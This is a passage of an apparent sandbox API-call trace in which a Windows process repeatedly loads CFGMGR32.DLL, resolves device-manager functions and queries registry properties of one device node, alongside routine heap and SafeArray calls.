0x7ffa786ca490 [0223.276] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0223.276] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0223.277] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0223.277] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0223.277] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0223.277] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0223.277] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0223.277] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0223.277] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0223.277] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0223.278] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0223.278] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0223.278] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0223.278] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0223.278] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0223.278] malloc (_Size=0x18) returned 0x196ef0d1d60 [0223.278] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x1f, ulProperty=0x2, pulRegDataType=0x67117d570, Buffer=0x0, pulLength=0x67117d608, ulFlags=0x0 | out: pulRegDataType=0x67117d570, Buffer=0x0, pulLength=0x67117d608) returned 0x1a [0223.279] malloc (_Size=0x22) returned 0x196ef0f9f70 [0223.279] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x1f, ulProperty=0x2, pulRegDataType=0x67117d570, Buffer=0x196ef0f9f70, pulLength=0x67117d608, ulFlags=0x0 | out: pulRegDataType=0x67117d570, Buffer=0x196ef0f9f70, pulLength=0x67117d608) returned 0x0 [0223.280] free (_Block=0x196ef0f9f70) [0223.280] malloc (_Size=0x48) returned 0x196ef0fb8b0 [0223.280] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117d4d0 | out: lpSystemTimeAsFileTime=0x67117d4d0*(dwLowDateTime=0x65f03045, dwHighDateTime=0x1d9eb0c)) [0223.280] SetEvent (hEvent=0x248) returned 1 [0223.283] malloc (_Size=0x18) returned 0x196ef0d2080 [0223.283] SafeArrayPutElement (psa=0x196ef1f2430, rgIndices=0x67117d6d8, pv=0x196ee7bd638) returned 0x0 [0223.283] free (_Block=0x196ef0d2080) [0223.283] RtlAllocateHeap (HeapHandle=0x196ee760000, Flags=0x0, Size=0x78) returned 0x196ee855d60 [0223.283] SafeArrayGetDim (psa=0x196ef1f2430) returned 0x1 [0223.283] SafeArrayGetLBound (in: psa=0x196ef1f2430, nDim=0x1, plLbound=0x67117d3a0 | out: plLbound=0x67117d3a0) returned 0x0 [0223.283] SafeArrayGetUBound (in: psa=0x196ef1f2430, nDim=0x1, plUbound=0x67117d3c0 | out: plUbound=0x67117d3c0) returned 0x0 [0223.283] RtlAllocateHeap (HeapHandle=0x196ee760000, Flags=0x0, Size=0x28) returned 0x196ee7aa8c0 [0223.283] SafeArrayGetDim (psa=0x196ef1f2430) returned 0x1 [0223.283] SafeArrayGetUBound (in: psa=0x196ef1f2430, nDim=0x1, plUbound=0x67117d368 | out: plUbound=0x67117d368) returned 0x0 [0223.283] SafeArrayGetElemsize (psa=0x196ef1f2430) returned 0x8 [0223.283] SafeArrayGetElement (in: psa=0x196ef1f2430, rgIndices=0x67117d258, pv=0x67117d260 | out: pv=0x67117d260) returned 0x0 [0223.284] memcpy (in: _Dst=0x67117d268, _Src=0x196ef225ee0, _Size=0x8 | out: _Dst=0x67117d268) returned 0x67117d268 [0223.284] RtlFreeHeap (HeapHandle=0x196ee760000, Flags=0x0, BaseAddress=0x196ee7aa8c0) returned 1 [0223.285] RtlFreeHeap (HeapHandle=0x196ee760000, Flags=0x0, BaseAddress=0x196ee855d60) returned 1 [0223.285] malloc (_Size=0xd8) returned 0x196ef0d4e70 [0223.285] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0223.286] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0223.286] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0223.286] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0223.286] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0223.286] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0223.286] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0223.287] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0223.287] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0223.287] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0223.287] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0223.287] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0223.287] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0223.287] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0223.287] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0223.288] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0223.288] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0223.288] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0223.288] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0223.288] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0223.288] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0223.288] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0223.289] malloc (_Size=0x18) returned 0x196ef0d1ca0 [0223.289] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x1f, ulProperty=0x3, pulRegDataType=0x67117d570, Buffer=0x0, pulLength=0x67117d608, ulFlags=0x0 | out: pulRegDataType=0x67117d570, Buffer=0x0, pulLength=0x67117d608) returned 0x1a [0223.289] malloc (_Size=0x14) returned 0x196ef0d1960 [0223.289] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x1f, ulProperty=0x3, pulRegDataType=0x67117d570, Buffer=0x196ef0d1960, pulLength=0x67117d608, ulFlags=0x0 | out: pulRegDataType=0x67117d570, Buffer=0x196ef0d1960, pulLength=0x67117d608) returned 0x0 [0223.289] free (_Block=0x196ef0d1960) [0223.289] malloc (_Size=0x48) returned 0x196ef0fb680 [0223.289] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117d4d0 | out: lpSystemTimeAsFileTime=0x67117d4d0*(dwLowDateTime=0x65f28e89, dwHighDateTime=0x1d9eb0c)) [0223.289] SetEvent (hEvent=0x248) returned 1 [0223.292] malloc (_Size=0x18) returned 0x196ef0d1ca0 [0223.292] SafeArrayPutElement (psa=0x196ef1f2430, rgIndices=0x67117d6d8, pv=0x196ee776258) returned 0x0 [0223.292] free (_Block=0x196ef0d1ca0) [0223.292] RtlAllocateHeap (HeapHandle=0x196ee760000, Flags=0x0, Size=0x78) returned 0x196ee855460 [0223.292] SafeArrayGetDim (psa=0x196ef1f2430) returned 0x1 [0223.292] SafeArrayGetLBound (in: psa=0x196ef1f2430, nDim=0x1, plLbound=0x67117d3a0 | out: plLbound=0x67117d3a0) returned 0x0 [0223.292] SafeArrayGetUBound (in: psa=0x196ef1f2430, nDim=0x1, plUbound=0x67117d3c0 | out: plUbound=0x67117d3c0) returned 0x0 [0223.292] RtlAllocateHeap (HeapHandle=0x196ee760000, Flags=0x0, Size=0x28) returned 0x196ee7aa9b0 [0223.292] SafeArrayGetDim (psa=0x196ef1f2430) returned 0x1 [0223.292] SafeArrayGetUBound (in: psa=0x196ef1f2430, nDim=0x1, plUbound=0x67117d368 | out: plUbound=0x67117d368) returned 0x0 [0223.292] SafeArrayGetElemsize (psa=0x196ef1f2430) returned 0x8 [0223.293] SafeArrayGetElement (in: psa=0x196ef1f2430, rgIndices=0x67117d258, pv=0x67117d260 | out: pv=0x67117d260) returned 0x0 [0223.293] memcpy (in: _Dst=0x67117d268, _Src=0x196ef225ee0, _Size=0x8 | out: _Dst=0x67117d268) returned 0x67117d268 [0223.294] RtlFreeHeap (HeapHandle=0x196ee760000, Flags=0x0, BaseAddress=0x196ee7aa9b0) returned 1 [0223.294] RtlFreeHeap (HeapHandle=0x196ee760000, Flags=0x0, BaseAddress=0x196ee855460) returned 1 [0223.294] malloc (_Size=0xd8) returned 0x196ef0d4e70 [0223.294] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0223.295] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0223.295] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0223.295] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0223.296] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0223.296] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0223.296] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0223.296] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0223.296] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0223.296] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0223.296] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0223.297] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0223.297] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0223.297] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0223.297] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0223.297] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0223.297] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0223.297] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0223.297] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0223.298] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0223.298] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0223.298] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0223.298] malloc (_Size=0x18) returned 0x196ef0d1ba0 [0223.298] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x1f, ulProperty=0xc, pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84, ulFlags=0x0 | out: pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84) returned 0x0 [0223.307] malloc (_Size=0x48) returned 0x196ef0fbae0 [0223.307] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117cd40 | out: lpSystemTimeAsFileTime=0x67117cd40*(dwLowDateTime=0x65f4eec0, dwHighDateTime=0x1d9eb0c)) [0223.307] SetEvent (hEvent=0x248) returned 1 [0223.312] malloc (_Size=0xd8) returned 0x196ef0d4e70 [0223.312] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0223.312] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0223.312] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0223.312] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0223.313] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0223.313] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0223.313] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0223.313] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0223.313] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0223.313] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0223.313] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0223.314] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0223.314] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0223.314] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0223.314] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0223.314] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0223.314] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0223.314] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0223.314] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0223.315] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0223.315] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0223.315] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0223.315] malloc (_Size=0x18) returned 0x196ef0d2020 [0223.315] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x1f, ulProperty=0x9, pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84, ulFlags=0x0 | out: pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84) returned 0x0 [0223.315] malloc (_Size=0x48) returned 0x196ef0fb2c0 [0223.316] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117cd40 | out: lpSystemTimeAsFileTime=0x67117cd40*(dwLowDateTime=0x65f4eec0, dwHighDateTime=0x1d9eb0c)) [0223.316] SetEvent (hEvent=0x248) returned 1 [0223.383] malloc (_Size=0xd8) returned 0x196ef0d4e70 [0223.383] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0223.383] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0223.384] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0223.384] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0223.384] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0223.384] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0223.384] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0223.385] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0223.385] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0223.385] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0223.385] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0223.385] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0223.385] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0223.385] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0223.386] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0223.386] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0223.386] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0223.386] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0223.386] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0223.386] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0223.387] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0223.387] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0223.387] malloc (_Size=0x18) returned 0x196ef0d1f20 [0223.387] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x1f, ulProperty=0x8, pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84, ulFlags=0x0 | out: pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84) returned 0x0 [0223.388] malloc (_Size=0x48) returned 0x196ef0fbb30 [0223.388] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117cd40 | out: lpSystemTimeAsFileTime=0x67117cd40*(dwLowDateTime=0x6600dc45, dwHighDateTime=0x1d9eb0c)) [0223.388] SetEvent (hEvent=0x248) returned 1 [0223.391] malloc (_Size=0xd8) returned 0x196ef0d4e70 [0223.391] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0223.391] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0223.392] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0223.392] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0223.392] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0223.392] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0223.392] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0223.392] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0223.392] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0223.393] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0223.393] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0223.393] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0223.393] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0223.393] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0223.394] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0223.394] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0223.394] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0223.394] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0223.394] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0223.394] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0223.394] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0223.395] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0223.395] malloc (_Size=0x18) returned 0x196ef0d1ca0 [0223.395] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x1f, ulProperty=0x5, pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84, ulFlags=0x0 | out: pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84) returned 0x0 [0223.396] malloc (_Size=0x48) returned 0x196ef0fc170 [0223.396] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117cd40 | out: lpSystemTimeAsFileTime=0x67117cd40*(dwLowDateTime=0x660341f8, dwHighDateTime=0x1d9eb0c)) [0223.396] SetEvent (hEvent=0x248) returned 1 [0223.401] malloc (_Size=0xd8) returned 0x196ef0d4e70 [0223.401] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0223.401] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0223.402] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0223.402] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0223.402] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0223.402] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0223.402] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0223.402] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0223.402] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0223.402] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0223.403] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0223.403] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0223.403] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0223.403] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0223.403] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0223.403] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0223.404] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0223.404] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0223.404] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0223.404] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0223.404] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0223.404] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0223.405] malloc (_Size=0x18) returned 0x196ef0d1ea0 [0223.405] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x1f, ulProperty=0x1, pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84, ulFlags=0x0 | out: pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84) returned 0x0 [0223.412] malloc (_Size=0x48) returned 0x196ef0fbdb0 [0223.412] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117cd40 | out: lpSystemTimeAsFileTime=0x67117cd40*(dwLowDateTime=0x66059fc2, dwHighDateTime=0x1d9eb0c)) [0223.412] SetEvent (hEvent=0x248) returned 1 [0223.416] malloc (_Size=0xd8) returned 0x196ef0d4e70 [0223.416] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0223.416] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0223.417] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0223.417] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0223.417] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0223.417] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0223.417] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0223.417] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0223.418] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0223.418] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0223.418] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0223.418] GetProcAddress (hModule=0x7ffa786c0000, 